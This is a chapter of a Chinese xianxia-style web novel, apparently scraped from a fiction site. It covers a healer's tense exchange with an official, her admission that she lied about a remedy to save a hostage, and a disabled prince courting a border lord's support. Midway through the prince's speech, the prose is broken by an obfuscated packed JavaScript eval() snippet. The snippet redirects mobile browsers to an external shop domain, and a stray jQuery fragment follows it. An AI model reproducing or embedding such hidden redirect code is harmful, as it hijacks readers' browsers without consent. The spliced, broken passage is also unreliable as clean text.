文趣网 > 其他小说 > 秀剑长吟 > 42.晋王
    “你不用急着反驳我或是欺骗我,自从我到了这棠城,你做的这一切真当我毫无感觉吗?之前我救你的恩情,你早就还清了,当时你给我镯子的时候我还可以装装傻,但这次你冒着这么大的风险在路定山手下救下我们,早就也远远超过我对你做的。”寒以清平静的语气中开始波动。

    “真的只是为了琉璃城吗?”

    “我……”白栩年不知道该说什么,每次遇见她,他总是不忍心说出那些欺骗她的话。

    竹林随风沙沙作响,瘦削的身影之下藏不住他的落寞。

    “你如此对我,若是知晓我是谁,为何不告诉我呢?”

    “许大人,如果我问你,你会告诉我吗?”说完这句话,寒以清的心莫名慌了起来。

    她看向白栩年,他的眼神突然变得无措起来,眉眼之中泛起凄楚和彷徨。

    很长一段时间,两人沉默不语,直到一声非比寻常的鸟叫,唤起白栩年的意识。

    “许某还有紧急要务在身,就先告辞了。”白栩年一直没敢看寒以清,直到临走一刻也没回头。

    寒以清突然有些后悔,她本来不想说这些,她是想向许白道谢的,不知怎么,她突然想将这种平静打破,她的心里一团乱麻。

    这到底是怎么了?

    注意到寒以清一直没有进来,风千绪起身向外望去,就看见两人站在廊下,交谈着什么。

    又看见寒以清似乎是说了什么话,那许大人表情就变得很奇怪,是一种沉痛而颓废的神情。

    “你看到什么了?”颜疏裴突然出声。

    风千绪吓得一抖:“小声些。”

    他轻轻溜到颜疏裴身边:“以清阿姐在和许大人说话。”

    “在说什么?”颜疏裴有些心急。

    “那我哪知道,我又没有顺风耳,不过瞧着许大人表情很,悲伤。”风千绪学着他的表情,在他脸上,看起来古怪又可笑。

    “你——算了”颜疏裴没再问此事,他又想起其他想问的事儿:“我说千绪兄弟,你知道以清妹子和那许大人咋认识的吗?”

    “阿姐不是说了吗,她救了那许白,想必就是如此认识的吧。”风千绪毫不在意地说着。

    颜疏裴举起想要敲风千绪脑袋的手又放了下来,他在心里上下瞪了他一眼又问起另一件事儿:“那你和她是什么关系?”

    “以清阿姐是我姐姐的好友,我阿姐邀请她来琉璃城做医师,我与她就识得了。”风千绪说起来还有些不好意思:“我与以清阿姐也算是不打不相识吧,不过……”

    风千绪突然不说了,他打量颜疏裴一眼:“你怎么奇奇怪怪的?”

    风千绪看着他的神色,突然敏锐察觉到有什么不同。

    风千绪的表情逐渐奇怪起来:“你不会喜欢以清阿姐吧?”

    “怎,怎么可能,我就是作为朋友关心一下,随便问问。”颜疏裴眼神飘忽,表情些许不自然。

    不过风千绪丝毫没在意,他又说道:“那就好,以清阿姐喜欢我大师兄。”

    “你说什么?”颜疏裴突然声量提高。

    风千绪吓得站了起来,突然后面又响起一声:“你们在干什么?”他又被吓了一跳。

    “没什么哈哈。”风千绪若无其事的挠了挠偷,笑了笑。

    寒以清走了过来,看了两人一眼,他又拿起颜疏裴的手,把了把脉。

    没什么问题,他脸色怎么这么奇怪?寒以清心中暗道。

    “我们三个身上都有伤,不宜急着赶路,等会儿我出去看看涪水城的人是否还在,我们再考虑走与否。”

    “不过阿姐,那傅家玉能活下来吗?”风千绪问道。

    “当然可以,我既然答应为他解毒,便不会食言。只要路定山跟着我的方子做,他一定能活。”

    “万一那路定山不这样做呢?”

    听着风千绪这样问,颜疏裴肯定说道:“不可能。能到这个境界还如此痴迷升境之人,不会想让自己只停在这个境界。路定山为了抓傅家玉,竟然出城亲自动手,还不顾脸面朝我们几个小辈动手,足以见得他有多重视。他或许会向人求证,但绝不会不照做。”

    “没错。”寒以清欣赏地点了点头。

    “哦,那这个方子真的可以帮助他胜利升境不受这个副作用干扰吗?”风千绪好奇问道。

    “其实不然。”寒以清坐下身来。

    “我骗他的。”

    两人双双露出惊愕神色,当时寒以清如此自信,全然想不出这竟是谎话。

    “准确地说他会喝了傅家玉的血会停滞不前是谎话,我给他的方子不过是在保持原来药性的同时不伤傅家玉的性命,这法子也是看了《玄草十记》残本现配的,还未经过实践,不过我有八成把握。”

    “到了他们这个境界,每提升一点儿都难如登天,这蛊毒药性强劲,产生什么副作用也说不准,我的方子减轻了里面的毒性,对他来说是好事一件。即使他找旁人问也不会有人说什么。”

    在如此危急时刻还能镇定自若编出一套合理的谎话,两人都心生佩服。

    “这也是最好的法子,若是我们真带走了傅家玉,想必他的家人也不会幸免于难。”

    说完,寒以清起身。

    “好啦,我出去看看,你陪着他,我去去就回。”

    棠城乌云密布暗沉沉,而万里之外的上京晴空万里,不见一片云。

    历尽月余,风晚雨终是到了上京,这个地方,几十年未曾来过,记得上次来还是年少和晚霖、朝来游历江湖之时,当时的上京就是繁华迷人眼,如今与当时相比,景色未变,人却不似当年。

    “风城主,这边请。”

    风晚雨拉紧帷帽,来到一处偏僻小院,七拐八拐,经历了几道防线,才到了一处无人庭院。

    “风城主稍等,主子马上就到。”

    未等多久,风晚雨就看见远处一个侍卫推着四轮小车而来,上面的少年看着与千绪差不多大,杏眼斜上,眉目深邃,明明一张清贵正气的脸,浑身却透着一股阴鸷,让人不寒而栗,周身之气都冷下几分。

    他坐在小车上,与传闻中如出一辙。

    “臣参见晋王殿下。”

    “城主不必多礼,快快请起。”

    风晚雨抬头,面前的晋王与刚进来时的模样全然不同,一丝一毫的阴鸷都看不见,只觉亲和。

    “风城主一路舟车劳顿,本该多歇几天,怪我心急,只想快一点见到传说中的风城主,望风城主见谅。”

    “这是京中名茗,就当是我赔罪了。”宋淮举起茶来,向风晚雨示意。

    “殿下多虑了。”风晚雨一饮而尽。

    宋淮放下茶杯,一个眼神,那侍卫就离开了院子。

    “听闻风城主拒了陛下指给太子哥哥的婚事,陛下虽未曾说什么,但那日三哥回来后,他狠狠罚了好些三哥身边之人,连那御查察使都被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671287|202500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    削了职。”

    “臣哪敢拒绝陛下的旨意,不过是世祖皇帝遗令,小女乃下一任城主,为了边疆安稳,不得已为之。”

    “哦,是吗?竟然还有这等事儿?可惜了呢,原以为还能和风家联为姻眷呢。”宋淮笑着,眼中根本没有一丝可惜。

    此次上来一来是以令相邀,风晚雨不再继续寒暄下去:“殿下既然急着见我,不知所为何事?”

    “我还听闻宜州的兵权似乎回到了陈东兴手里,风城主做何感想?”宋淮的话逐渐尖锐起来。

    “自然是本该如此,陈大人本该收回兵权,有陈大人在,西南就多一份保障,是整个西南乃至整个上霄的幸事。”

    “风城主如此为上霄着想,可惜陛下可不知风城主的忠义之心呐。”

    风晚雨眉头一拧:“殿下此话何意?”

    “我可听闻定州,临州都多增了些兵力,宜州府也多招了好些兵,说是为了对付匪乱,宜州境内自是不用我多说,但定州,临州祥和一片,哪来什么匪,倒是昌州一直匪乱不断,也没见多派些兵力去剿匪。”

    “太子哥哥原本已经和尉迟家定了亲,陛下又下此令想要促成两家婚事,究竟生的是哪门子心思。”

    风晚雨面色越来越凝重:“还请晋王殿下慎言。”

    “风城主明明心知肚明,我不过是将实话说出来罢了。”宋淮收了笑容,那股子阴鸷又显了出来。

    “我知风家与我母家有承诺在身,风家在那场战乱之中的恩情早就还清了,如今风城主愿意冒着风险来上京还是念及那份恩情,宋淮在真心地谢过城主。”宋淮面色无波,说话却真诚恳切。

    “‘勇略震主者身危,而功盖天下者不赏’,风家风家世代守卫西南一隅,几十年特赦荣誉,乃上霄独一份。风城主若是跟随圣心,那风家岂不危已?”

    “自那战乱后,上霄国力大不如前,加上外敌干扰,自然灾害连发,民怨甚大,各地起兵不在少数,牧越两州还在敌人手上,边疆百姓更是多受侵扰,陛下不体百姓之苦,只为稳固地位,不视忠臣之心,还一味沉溺修仙之道,岂不是违背了君王之道。”

    “风家不被体恤,风城主愿做忠臣,可琉璃百姓可愿,宜州可愿?”

    “犹记得父皇在时,上霄国力之盛,乃万国敬仰。若有一人愿承袭仁帝遗志,改此现状,做为国为民之事,风城主可愿助一臂之力?”

    话都说到这份上了,风晚雨再装不懂可就不合适了。

    “晋王殿下肺腑之言,臣记下了,可此事事关重大,可否让臣考虑再三?”

    “那是当然。”

    风晚雨看着面前的晋王,人看起来瘦弱,眼中野心倒是不小。不过他身有残疾,如何能继承大统?这继位之人可不能有残缺才是。

    连这些话都敢与他讲,这晋王看起来不像这般不谨慎之人。

    且与那太子与二皇子相比,晋王囚在深宫,实在不是一个可与之相合作的对象。

    难道他手里还有筹码?或是琉璃不能拒绝的理由?

    宋淮突然大笑起来,脸色越发扭曲,浑身上下更是充斥着一股积郁已久的邪气。

    这样的人若是坐上那个位置真的能为国为民吗?

    风晚雨在心中盘算着,那宋淮似乎是猜到了他的心思,他平复了心情,随后说出一句足以让他心神俱震,颠覆上霄之语。

    “若是我皇姐还在,风城主会不会立刻就答应我呢?”